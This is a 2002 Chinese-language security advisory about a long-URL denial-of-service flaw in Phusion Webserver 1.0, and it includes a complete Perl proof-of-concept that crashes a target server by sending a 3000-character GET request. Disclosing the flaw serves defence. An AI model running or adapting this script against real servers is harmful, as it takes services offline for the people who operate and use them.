Phusion Webserver处理超长URL存在拒绝服务攻击

发布时间：2002-02-22
更新时间：2002-02-22
严重程度：中
威胁程度：远程拒绝服务
错误类型：边界检查错误
利用方式：服务器模式

BUGTRAQ ID：4118

受影响系统

BBShareware.Com Phusion Webserver 1.0
   - Microsoft Windows 2000 Professional
   - Microsoft Windows 2000 Professional SP1
   - Microsoft Windows 2000 Professional SP2
   - Microsoft Windows 95
   - Microsoft Windows 98
   - Microsoft Windows NT Workstation 4.0
   - Microsoft Windows NT Workstation 4.0SP1
   - Microsoft Windows NT Workstation 4.0SP2
   - Microsoft Windows NT Workstation 4.0SP3
   - Microsoft Windows NT Workstation 4.0SP4
   - Microsoft Windows NT Workstation 4.0SP5
   - Microsoft Windows NT Workstation 4.0SP6a

详细描述
Phusion Webserver 是运行在Microsoft windows下的HTTP服务程序。

其中通过请求超过3000+字节的URL可以导致HTTP WEB服务程序产生拒绝服务攻击，
停止响应其他服务。

测试代码
#!/usr/bin/perl
#
# Simple script to send a long 'A^s' command to the server,
# resulting in the server crashing.
#
# Phusion Webserver v1.0 proof-of-concept exploit.
# By Alex Hernandez <al3xhernandez@ureach.com> (C)2002.
#
# Thanks all the people from Spain and Argentina.
# Special Greets: White-B, Pablo S0r, Paco Spain, L.Martins,
# G.Maggiotti & H.Oliveira.
#
#
# Usage: perl -x Phusion_DoS.pl -s <server>
#
# Example:
#
# perl -x Phusion_DoS.pl -s 10.0.0.1
#
# Crash was successful !
#

use Getopt::Std;
use IO::Socket;

print("\nPhusion Webserver v1.0 DoS exploit (c)2002.\n");
print("Alex Hernandez al3xhernandez\@ureach.com\n\n");

getopts('s:', \%args);
if(!defined($args{s})){&usage;}

($serv,$port,$def,$num,$data,$buf,$in_addr,$paddr,$proto);

$def = "A";
$num = "3000";
$data .= $def x $num;
$serv = $args{s};
$port = 80;
$buf = "GET /cgi-bin/$data /HTTP/1.0\r\n\r\n";

$in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");
$paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");

socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!");
connect(S, $paddr) ||die ("Error: $!");
select(S); $| = 1; select(STDOUT);
print S "$buf";

print("\nCrash was successful !\n\n");

sub usage {die("\n\nUsage: perl -x $0 -s <server>\n\n");}

解决方案
尚无

相关信息
Alex Hernandez <al3xhernandez@ureach.com>.
参考：http://online.securityfocus.com/archive/1/256838
相关主页：http://www.bbshareware.com/phusion/

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Phusion Webserver处理超长URL存在拒绝服务攻击